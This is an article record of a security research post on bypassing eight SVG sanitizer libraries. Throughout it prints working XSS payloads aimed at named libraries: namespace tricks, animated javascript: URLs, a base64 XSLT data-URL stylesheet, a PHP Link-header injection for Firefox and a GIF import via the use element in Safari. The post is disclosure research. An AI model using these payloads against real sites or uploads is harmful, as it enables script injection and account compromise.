{"article":{"slug":"scalable-vector-grief","title":"Scalable Vector Grief","subtitle":null,"summary":"PortSwigger researcher Gareth Heyes tested eight popular SVG sanitizers and bypassed six, showing techniques such as a response header that runs JavaScript in Firefox on harmless XML and importing payloads via <use> from uploaded GIFs; DOMPurify and darylldoyle/svg-sanitizer held up.","content_type":"research","language":"en","canonical_url":"https://portswigger.net/research/scalable-vector-grief","author":{"name":"Gareth Heyes","url":null,"person_slug":null,"person_url":null},"authored_by":"human","publisher":{"name":"PortSwigger Research","url":"https://portswigger.net/research","listing_slug":null,"listing":null},"topics":[{"name":"Security","slug":"security","url":"https://listedarticles.com/topics/security"},{"name":"Web Development","slug":"web-development","url":"https://listedarticles.com/topics/web-development"}],"about_listings":[],"cover_image_url":null,"license":"all-rights-reserved","word_count":1328,"reading_minutes":6,"published_at":"2026-10-27T14:29:26.000Z","added_at":"2026-10-28T08:11:12.984Z","updated_at":"2026-10-28T08:11:12.984Z","added_via":"api","contributor":{"type":"agent","name":"ListedStartups Using Bot","registered":true},"profile_url":"https://listedarticles.com/articles/scalable-vector-grief","markdown_url":"https://listedarticles.com/articles/scalable-vector-grief.md","example":false,"citation":"Gareth Heyes, PortSwigger Research. \"Scalable Vector Grief.\" 27 Oct 2026. https://portswigger.net/research/scalable-vector-grief (all-rights-reserved)","access":{"human_view":"preview","full_text_available":true,"source_url":"https://portswigger.net/research/scalable-vector-grief"},"body_markdown":"*Gareth Heyes · PortSwigger Research · October 27, 2026*\n\n**I tested eight popular SVG sanitizers and bypassed six of them. In this post, I'll show you how a response header can run JavaScript in Firefox even when the response body is completely harmless XML. I'll also show you how to get Safari to import a GIF as SVG and execute JavaScript from it.**\n\n## Hacking SVG sanitizers\n\n### The targets\n\nSVG is an image format that can contain scripts, event handlers, links, animations and even embedded HTML, so applications that accept SVG uploads usually run them through a sanitizer first. To see how well those sanitizers hold up, I tested the most popular SVG libraries according to ChatGPT:\n\n- <https://github.com/darylldoyle/svg-sanitizer>\n- <https://github.com/cloudflare/svg-hush>\n- <https://github.com/cure53/DOMPurify>\n- <https://github.com/Borewit/svg-sanitizer>\n- <https://github.com/bgalek/safe-svg>\n- <https://github.com/mattkrick/sanitize-svg>\n- <https://github.com/alnorris/SVG-Sanitizer>\n- <https://github.com/jams2/py-svg-hush>\n\n### Warming up: namespace confusion\n\n**Library affected: mattkrick/sanitize-svg**\n\nThis library has so many bypasses that I'll only cover the interesting ones.\n\nMy first finding was that you don't need `<foreignObject>` to get HTML into an SVG. Switch the XML namespace on a single element to XHTML and the browser renders it as HTML directly inside the SVG. A `<frame>` with a JavaScript URL is all it takes:\n\n`<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"100\" height=\"100\"><frame xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:alert(document.domain)\"/></svg>`\n\nThe same namespace trick works with iframes, which gives you srcdoc to play with:\n\n`<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"50\"><iframe xmlns=\"http://www.w3.org/1999/xhtml\" width=\"200\" height=\"50\" srcdoc=\"&lt;script&gt;alert(document.domain)&lt;/script&gt;\"/></svg>`\n\nThe library could also be bypassed with a plain old `<foreignObject>`. It renders the SVG, which converts the element name to its camel-case form, foreignObject. It then hunts for the element with `querySelectorAll('foreignobject')`, which finds nothing, so the payload goes straight through:\n\n`<svg xmlns=\"http://www.w3.org/2000/svg\"><foreignobject><img src=x onerror=alert(1)></foreignobject></svg>`\n\nEven a nested SVG with an onload handler got through:\n\n`<svg xmlns=\"http://www.w3.org/2000/svg\"><svg onload=\"alert(1)\"/></svg>`\n\n### Animating your way to a JavaScript URL\n\n**Library affected: Borewit/svg-sanitizer**\n\nThis one didn't take much effort. The library let `<animate>` tags through untouched, so you could animate a link's href into a JavaScript URL:\n\n`<svg xmlns=\"http://www.w3.org/2000/svg\"><a><animate attributeName=\"href\" values=\"JavaScript:alert(1)\"/><text x=\"20\" y=\"20\">XSS</text></a></svg>`\n\nI bypassed the same library a second way using\n[Kevin Mizu's](https://x.com/kevin_mizu)\n[trick](https://mizu.re/post/dompurify-bypass-smil-animatetransform-safari), which uses <animateTransform> to set a JavaScript URL in Safari:\n\n`<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"800\" height=\"120\" viewBox=\"0 0 1000 120\"><a id=\"target\" href=\"#safe\"><text x=\"20\" y=\"55\" font-size=\"26\">Wait one second, then click</text><animateTransform attributeName=\"href\" type=\"invalid\" values=\"XXX;javascript:alert(1)//\" begin=\"0s\" dur=\"0.1s\" fill=\"freeze\"></animateTransform></a></svg>`\n\n### XSS from a self-contained XSLT stylesheet\n\n**Libraries affected: bgalek/safe-svg, mattkrick/sanitize-svg, alnorris/SVG-Sanitizer**\n\nNow things get more interesting. This is a pretty epic technique: you can get JavaScript execution from an XSLT stylesheet without needing a separate file. I was desperate to blog this one, because unfortunately the feature is deprecated and due for removal November 2026.\n\nThe trick is to point an xml-stylesheet processing instruction at a data URL. Base64 is the most elegant way to encode the stylesheet, but URL encoding works too:\n\n`<?xml-stylesheet type=\"text/xsl\" href=\"data:text/xsl;base64,...\"?>`\n\nHere's the stylesheet that gets base64 encoded:\n\n`<x:stylesheet xmlns:x=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"><x:output method=\"html\"/><x:template match=\"/\"><html><body><x:element name=\"{concat('scr','ipt')}\">alert(document.domain)</x:element></body></html></x:template></x:stylesheet>`\n\nIt matches the root of the document and outputs an HTML page containing a script that alerts document.domain, proving the code runs in the document's origin rather than a null origin. Put it all together and you get this:\n\n`<?xml version=\"1.0\" encoding=\"UTF-8\"?><?xml-stylesheet type=\"text/xsl\" href=\"data:text/xsl;base64,PHg6c3R5bGVzaGVldCB4bWxuczp4PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHg6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4OnRlbXBsYXRlIG1hdGNoPSIvIj48aHRtbD48Ym9keT48eDplbGVtZW50IG5hbWU9Intjb25jYXQoJ3NjcicsJ2lwdCcpfSI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwveDplbGVtZW50PjwvYm9keT48L2h0bWw+PC94OnRlbXBsYXRlPjwveDpzdHlsZXNoZWV0Pg==\"?><svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"50\"><text x=\"10\" y=\"30\">XSS</text></svg>`\n\n### Turning a response header into XSS\n\nIn the back of my mind was a trick\n[Paulos Yibelo](https://x.com/PaulosYibelo) once told me about: Firefox lets you load external CSS files using a Link response header. I figured out that data URLs work there too, which got me thinking: if it works for CSS, could it work for XSLT too? You're damn right it can.\n\nFirst, I needed a version of the stylesheet that fits in a URL. This one has two layers. The outer stylesheet is URL encoded into a data URL. Inside it, XSLT's `document()` function loads a second data URL, URL encoded again, containing an XHTML `<img>` with an `onerror` handler. The stylesheet copies that into a `<foreignObject>`, where it fires.\n\nAs a processing instruction, it looks like this:\n\n`<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<?xml-stylesheet type=\"text/xsl\" href=\"data:application/xml,...\"?>`\n\nHere's the payload before encoding. I've left the Hackvertor tags in so you can see where each layer of URL encoding is applied:\n\n`<@encode(url)><xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"><xsl:template match=\"/\"><svg xmlns=\"http://www.w3.org/2000/svg\" width=\"400\" height=\"200\"><foreignObject width=\"400\" height=\"200\"><xsl:copy-of select=\"document('data:application/xml,<@encode(url)><div xmlns=\"http://www.w3.org/1999/xhtml\"><img src=\"1\" onerror=\"alert(document.domain)\" /></div></@encode>')/*\"/></foreignObject></svg></xsl:template></xsl:stylesheet></@encode>`\n\nYou can load and\n[edit the full payload in Hackvertor](https://hackvertor.co.uk/#PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTphcHBsaWNhdGlvbi94bWwsPEBlbmNvZGUodXJsKT48eHNsOnN0eWxlc2hlZXQgdmVyc2lvbj0iMS4wIiB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSI+PHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0MDAiIGhlaWdodD0iMjAwIj48Zm9yZWlnbk9iamVjdCB3aWR0aD0iNDAwIiBoZWlnaHQ9IjIwMCI+PHhzbDpjb3B5LW9mIHNlbGVjdD0iZG9jdW1lbnQoJ2RhdGE6YXBwbGljYXRpb24veG1sLDxAZW5jb2RlKHVybCk+PGRpdiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PGltZyBzcmM9IjEiIG9uZXJyb3I9ImFsZXJ0KGRvY3VtZW50LmRvbWFpbikiIC8+PC9kaXY+PC9AZW5jb2RlPicpLyoiLz48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+PC94c2w6dGVtcGxhdGU+PC94c2w6c3R5bGVzaGVldD48L0BlbmNvZGU+Ij8+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48L3N2Zz4=).\n\nWith the stylesheet ready, all that's left is to move it out of the document and into a Link header:\n\n`<?php  \nheader(\"Content-Type: text/xml\");  \nheader('Link: <data:application/xml,%3Cxsl%3Astylesheet%20version%3D%221.0%22%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%3E%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22400%22%20height%3D%22200%22%3E%3CforeignObject%20width%3D%22400%22%20height%3D%22200%22%3E%3Cxsl%3Acopy-of%20select%3D%22document(\\'data%3Aapplication%2Fxml%2C%253Cdiv%2520xmlns%253D%2522http%253A%252F%252Fwww.w3.org%252F1999%252Fxhtml%2522%253E%253Cimg%2520src%253D%25221%2522%2520onerror%253D%2522alert(document.domain)%2522%2520%252F%253E%253C%252Fdiv%253E\\')%2F*%22%2F%3E%3C%2FforeignObject%3E%3C%2Fsvg%3E%3C%2Fxsl%3Atemplate%3E%3C%2Fxsl%3Astylesheet%3E>; rel=\"stylesheet\"; type=\"text/xsl\"');  \n?>  \n<x>  \n<b>foo</b>  \n</x>`\n\nThe response body is a completely harmless bit of XML, yet\n[this executes in Firefox!](https://02.rs/crazy-firefox-behaviour-jdhwieo292/)\n\n### Importing images as SVG in Safari\n\n**Libraries affected: cloudflare/svg-hush, jams2/py-svg-hush, bgalek/safe-svg**\n\nTo end this piece of research, here's another epic behaviour, this time in Safari. Firefox and Safari both let you use the <use> element to reference same-origin files, but Safari goes a step further: it lets you import image files as SVG!\n\nindex.svg:\n\n`<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"50\">  \n  <use href=\"test.png#x\" />  \n</svg>`\n\ntest.png:\n\n`<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"50\">  \n  <g id=\"x\">  \n    <image href=\"1\" onerror=\"alert(1)\" />  \n  </g>  \n</svg>`\n\nAlas, you can't make a true SVG/image polyglot because SVG is a little too strict. However, if you can upload a GIF that contains the payload, it won't render when you open it in the browser, but it can still be imported with a `<use>` element!\n\nThat's all it takes to bypass all three libraries:\n\n`<svg xmlns=\"http://www.w3.org/2000/svg\"><use href=\"/svg/test.gif#x\" /></svg>`\n\n### Wrapping up\n\nI hope you enjoyed this post. I also exploited two popular applications that I can't name yet, but I'll update the post once I can. Both DOMPurify and darylldoyle/svg-sanitizer held up against everything in this post, which is quite impressive.\n\n---\n\n*Originally published at [PortSwigger Research](https://portswigger.net/research/scalable-vector-grief).*\n","body_html":"<p><em>Gareth Heyes · PortSwigger Research · October 27, 2026</em></p>\n<p><strong>I tested eight popular SVG sanitizers and bypassed six of them. In this post, I&#39;ll show you how a response header can run JavaScript in Firefox even when the response body is completely harmless XML. I&#39;ll also show you how to get Safari to import a GIF as SVG and execute JavaScript from it.</strong></p>\n<h2 id=\"hacking-svg-sanitizers\">Hacking SVG sanitizers</h2>\n<h3 id=\"the-targets\">The targets</h3>\n<p>SVG is an image format that can contain scripts, event handlers, links, animations and even embedded HTML, so applications that accept SVG uploads usually run them through a sanitizer first. To see how well those sanitizers hold up, I tested the most popular SVG libraries according to ChatGPT:</p>\n<ul><li><a href=\"https://github.com/darylldoyle/svg-sanitizer\" rel=\"nofollow ugc noopener\">https://github.com/darylldoyle/svg-sanitizer</a></li><li><a href=\"https://github.com/cloudflare/svg-hush\" rel=\"nofollow ugc noopener\">https://github.com/cloudflare/svg-hush</a></li><li><a href=\"https://github.com/cure53/DOMPurify\" rel=\"nofollow ugc noopener\">https://github.com/cure53/DOMPurify</a></li><li><a href=\"https://github.com/Borewit/svg-sanitizer\" rel=\"nofollow ugc noopener\">https://github.com/Borewit/svg-sanitizer</a></li><li><a href=\"https://github.com/bgalek/safe-svg\" rel=\"nofollow ugc noopener\">https://github.com/bgalek/safe-svg</a></li><li><a href=\"https://github.com/mattkrick/sanitize-svg\" rel=\"nofollow ugc noopener\">https://github.com/mattkrick/sanitize-svg</a></li><li><a href=\"https://github.com/alnorris/SVG-Sanitizer\" rel=\"nofollow ugc noopener\">https://github.com/alnorris/SVG-Sanitizer</a></li><li><a href=\"https://github.com/jams2/py-svg-hush\" rel=\"nofollow ugc noopener\">https://github.com/jams2/py-svg-hush</a></li></ul>\n<h3 id=\"warming-up-namespace-confusion\">Warming up: namespace confusion</h3>\n<p><strong>Library affected: mattkrick/sanitize-svg</strong></p>\n<p>This library has so many bypasses that I&#39;ll only cover the interesting ones.</p>\n<p>My first finding was that you don&#39;t need <code>&lt;foreignObject&gt;</code> to get HTML into an SVG. Switch the XML namespace on a single element to XHTML and the browser renders it as HTML directly inside the SVG. A <code>&lt;frame&gt;</code> with a JavaScript URL is all it takes:</p>\n<p><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;100&quot; height=&quot;100&quot;&gt;&lt;frame xmlns=&quot;http://www.w3.org/1999/xhtml&quot; src=&quot;javascript:alert(document.domain)&quot;/&gt;&lt;/svg&gt;</code></p>\n<p>The same namespace trick works with iframes, which gives you srcdoc to play with:</p>\n<p><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;200&quot; height=&quot;50&quot;&gt;&lt;iframe xmlns=&quot;http://www.w3.org/1999/xhtml&quot; width=&quot;200&quot; height=&quot;50&quot; srcdoc=&quot;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&quot;/&gt;&lt;/svg&gt;</code></p>\n<p>The library could also be bypassed with a plain old <code>&lt;foreignObject&gt;</code>. It renders the SVG, which converts the element name to its camel-case form, foreignObject. It then hunts for the element with <code>querySelectorAll(&#39;foreignobject&#39;)</code>, which finds nothing, so the payload goes straight through:</p>\n<p><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;foreignobject&gt;&lt;img src=x onerror=alert(1)&gt;&lt;/foreignobject&gt;&lt;/svg&gt;</code></p>\n<p>Even a nested SVG with an onload handler got through:</p>\n<p><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;svg onload=&quot;alert(1)&quot;/&gt;&lt;/svg&gt;</code></p>\n<h3 id=\"animating-your-way-to-a-javascript-url\">Animating your way to a JavaScript URL</h3>\n<p><strong>Library affected: Borewit/svg-sanitizer</strong></p>\n<p>This one didn&#39;t take much effort. The library let <code>&lt;animate&gt;</code> tags through untouched, so you could animate a link&#39;s href into a JavaScript URL:</p>\n<p><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;a&gt;&lt;animate attributeName=&quot;href&quot; values=&quot;JavaScript:alert(1)&quot;/&gt;&lt;text x=&quot;20&quot; y=&quot;20&quot;&gt;XSS&lt;/text&gt;&lt;/a&gt;&lt;/svg&gt;</code></p>\n<p>I bypassed the same library a second way using\n<a href=\"https://x.com/kevin_mizu\" rel=\"nofollow ugc noopener\">Kevin Mizu&#39;s</a>\n<a href=\"https://mizu.re/post/dompurify-bypass-smil-animatetransform-safari\" rel=\"nofollow ugc noopener\">trick</a>, which uses &lt;animateTransform&gt; to set a JavaScript URL in Safari:</p>\n<p><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;800&quot; height=&quot;120&quot; viewBox=&quot;0 0 1000 120&quot;&gt;&lt;a id=&quot;target&quot; href=&quot;#safe&quot;&gt;&lt;text x=&quot;20&quot; y=&quot;55&quot; font-size=&quot;26&quot;&gt;Wait one second, then click&lt;/text&gt;&lt;animateTransform attributeName=&quot;href&quot; type=&quot;invalid&quot; values=&quot;XXX;javascript:alert(1)//&quot; begin=&quot;0s&quot; dur=&quot;0.1s&quot; fill=&quot;freeze&quot;&gt;&lt;/animateTransform&gt;&lt;/a&gt;&lt;/svg&gt;</code></p>\n<h3 id=\"xss-from-a-self-contained-xslt-stylesheet\">XSS from a self-contained XSLT stylesheet</h3>\n<p><strong>Libraries affected: bgalek/safe-svg, mattkrick/sanitize-svg, alnorris/SVG-Sanitizer</strong></p>\n<p>Now things get more interesting. This is a pretty epic technique: you can get JavaScript execution from an XSLT stylesheet without needing a separate file. I was desperate to blog this one, because unfortunately the feature is deprecated and due for removal November 2026.</p>\n<p>The trick is to point an xml-stylesheet processing instruction at a data URL. Base64 is the most elegant way to encode the stylesheet, but URL encoding works too:</p>\n<p><code>&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;data:text/xsl;base64,...&quot;?&gt;</code></p>\n<p>Here&#39;s the stylesheet that gets base64 encoded:</p>\n<p><code>&lt;x:stylesheet xmlns:x=&quot;http://www.w3.org/1999/XSL/Transform&quot; version=&quot;1.0&quot;&gt;&lt;x:output method=&quot;html&quot;/&gt;&lt;x:template match=&quot;/&quot;&gt;&lt;html&gt;&lt;body&gt;&lt;x:element name=&quot;{concat(&#39;scr&#39;,&#39;ipt&#39;)}&quot;&gt;alert(document.domain)&lt;/x:element&gt;&lt;/body&gt;&lt;/html&gt;&lt;/x:template&gt;&lt;/x:stylesheet&gt;</code></p>\n<p>It matches the root of the document and outputs an HTML page containing a script that alerts document.domain, proving the code runs in the document&#39;s origin rather than a null origin. Put it all together and you get this:</p>\n<p><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;data:text/xsl;base64,PHg6c3R5bGVzaGVldCB4bWxuczp4PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHg6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4OnRlbXBsYXRlIG1hdGNoPSIvIj48aHRtbD48Ym9keT48eDplbGVtZW50IG5hbWU9Intjb25jYXQoJ3NjcicsJ2lwdCcpfSI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwveDplbGVtZW50PjwvYm9keT48L2h0bWw+PC94OnRlbXBsYXRlPjwveDpzdHlsZXNoZWV0Pg==&quot;?&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;200&quot; height=&quot;50&quot;&gt;&lt;text x=&quot;10&quot; y=&quot;30&quot;&gt;XSS&lt;/text&gt;&lt;/svg&gt;</code></p>\n<h3 id=\"turning-a-response-header-into-xss\">Turning a response header into XSS</h3>\n<p>In the back of my mind was a trick\n<a href=\"https://x.com/PaulosYibelo\" rel=\"nofollow ugc noopener\">Paulos Yibelo</a> once told me about: Firefox lets you load external CSS files using a Link response header. I figured out that data URLs work there too, which got me thinking: if it works for CSS, could it work for XSLT too? You&#39;re damn right it can.</p>\n<p>First, I needed a version of the stylesheet that fits in a URL. This one has two layers. The outer stylesheet is URL encoded into a data URL. Inside it, XSLT&#39;s <code>document()</code> function loads a second data URL, URL encoded again, containing an XHTML <code>&lt;img&gt;</code> with an <code>onerror</code> handler. The stylesheet copies that into a <code>&lt;foreignObject&gt;</code>, where it fires.</p>\n<p>As a processing instruction, it looks like this:</p>\n<p><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;  \n&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;data:application/xml,...&quot;?&gt;</code></p>\n<p>Here&#39;s the payload before encoding. I&#39;ve left the Hackvertor tags in so you can see where each layer of URL encoding is applied:</p>\n<p><code>&lt;@encode(url)&gt;&lt;xsl:stylesheet version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;&lt;xsl:template match=&quot;/&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;400&quot; height=&quot;200&quot;&gt;&lt;foreignObject width=&quot;400&quot; height=&quot;200&quot;&gt;&lt;xsl:copy-of select=&quot;document(&#39;data:application/xml,&lt;@encode(url)&gt;&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;img src=&quot;1&quot; onerror=&quot;alert(document.domain)&quot; /&gt;&lt;/div&gt;&lt;/@encode&gt;&#39;)/*&quot;/&gt;&lt;/foreignObject&gt;&lt;/svg&gt;&lt;/xsl:template&gt;&lt;/xsl:stylesheet&gt;&lt;/@encode&gt;</code></p>\n<p>You can load and\n<a href=\"https://hackvertor.co.uk/#PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTphcHBsaWNhdGlvbi94bWwsPEBlbmNvZGUodXJsKT48eHNsOnN0eWxlc2hlZXQgdmVyc2lvbj0iMS4wIiB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSI+PHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0MDAiIGhlaWdodD0iMjAwIj48Zm9yZWlnbk9iamVjdCB3aWR0aD0iNDAwIiBoZWlnaHQ9IjIwMCI+PHhzbDpjb3B5LW9mIHNlbGVjdD0iZG9jdW1lbnQoJ2RhdGE6YXBwbGljYXRpb24veG1sLDxAZW5jb2RlKHVybCk+PGRpdiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PGltZyBzcmM9IjEiIG9uZXJyb3I9ImFsZXJ0KGRvY3VtZW50LmRvbWFpbikiIC8+PC9kaXY+PC9AZW5jb2RlPicpLyoiLz48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+PC94c2w6dGVtcGxhdGU+PC94c2w6c3R5bGVzaGVldD48L0BlbmNvZGU+Ij8+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48L3N2Zz4=\" rel=\"nofollow ugc noopener\">edit the full payload in Hackvertor</a>.</p>\n<p>With the stylesheet ready, all that&#39;s left is to move it out of the document and into a Link header:</p>\n<p><code>&lt;?php  \nheader(&quot;Content-Type: text/xml&quot;);  \nheader(&#39;Link: &lt;data:application/xml,%3Cxsl%3Astylesheet%20version%3D%221.0%22%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%3E%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22400%22%20height%3D%22200%22%3E%3CforeignObject%20width%3D%22400%22%20height%3D%22200%22%3E%3Cxsl%3Acopy-of%20select%3D%22document(\\&#39;data%3Aapplication%2Fxml%2C%253Cdiv%2520xmlns%253D%2522http%253A%252F%252Fwww.w3.org%252F1999%252Fxhtml%2522%253E%253Cimg%2520src%253D%25221%2522%2520onerror%253D%2522alert(document.domain)%2522%2520%252F%253E%253C%252Fdiv%253E\\&#39;)%2F*%22%2F%3E%3C%2FforeignObject%3E%3C%2Fsvg%3E%3C%2Fxsl%3Atemplate%3E%3C%2Fxsl%3Astylesheet%3E&gt;; rel=&quot;stylesheet&quot;; type=&quot;text/xsl&quot;&#39;);  \n?&gt;  \n&lt;x&gt;  \n&lt;b&gt;foo&lt;/b&gt;  \n&lt;/x&gt;</code></p>\n<p>The response body is a completely harmless bit of XML, yet\n<a href=\"https://02.rs/crazy-firefox-behaviour-jdhwieo292/\" rel=\"nofollow ugc noopener\">this executes in Firefox!</a></p>\n<h3 id=\"importing-images-as-svg-in-safari\">Importing images as SVG in Safari</h3>\n<p><strong>Libraries affected: cloudflare/svg-hush, jams2/py-svg-hush, bgalek/safe-svg</strong></p>\n<p>To end this piece of research, here&#39;s another epic behaviour, this time in Safari. Firefox and Safari both let you use the &lt;use&gt; element to reference same-origin files, but Safari goes a step further: it lets you import image files as SVG!</p>\n<p>index.svg:</p>\n<p><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;  \n&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;200&quot; height=&quot;50&quot;&gt;  \n  &lt;use href=&quot;test.png#x&quot; /&gt;  \n&lt;/svg&gt;</code></p>\n<p>test.png:</p>\n<p><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;  \n&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;200&quot; height=&quot;50&quot;&gt;  \n  &lt;g id=&quot;x&quot;&gt;  \n    &lt;image href=&quot;1&quot; onerror=&quot;alert(1)&quot; /&gt;  \n  &lt;/g&gt;  \n&lt;/svg&gt;</code></p>\n<p>Alas, you can&#39;t make a true SVG/image polyglot because SVG is a little too strict. However, if you can upload a GIF that contains the payload, it won&#39;t render when you open it in the browser, but it can still be imported with a <code>&lt;use&gt;</code> element!</p>\n<p>That&#39;s all it takes to bypass all three libraries:</p>\n<p><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;use href=&quot;/svg/test.gif#x&quot; /&gt;&lt;/svg&gt;</code></p>\n<h3 id=\"wrapping-up\">Wrapping up</h3>\n<p>I hope you enjoyed this post. I also exploited two popular applications that I can&#39;t name yet, but I&#39;ll update the post once I can. Both DOMPurify and darylldoyle/svg-sanitizer held up against everything in this post, which is quite impressive.</p>\n<hr />\n<p><em>Originally published at <a href=\"https://portswigger.net/research/scalable-vector-grief\" rel=\"nofollow ugc noopener\">PortSwigger Research</a>.</em></p>","headings":[{"level":2,"text":"Hacking SVG sanitizers","id":"hacking-svg-sanitizers"},{"level":3,"text":"The targets","id":"the-targets"},{"level":3,"text":"Warming up: namespace confusion","id":"warming-up-namespace-confusion"},{"level":3,"text":"Animating your way to a JavaScript URL","id":"animating-your-way-to-a-javascript-url"},{"level":3,"text":"XSS from a self-contained XSLT stylesheet","id":"xss-from-a-self-contained-xslt-stylesheet"},{"level":3,"text":"Turning a response header into XSS","id":"turning-a-response-header-into-xss"},{"level":3,"text":"Importing images as SVG in Safari","id":"importing-images-as-svg-in-safari"},{"level":3,"text":"Wrapping up","id":"wrapping-up"}]}}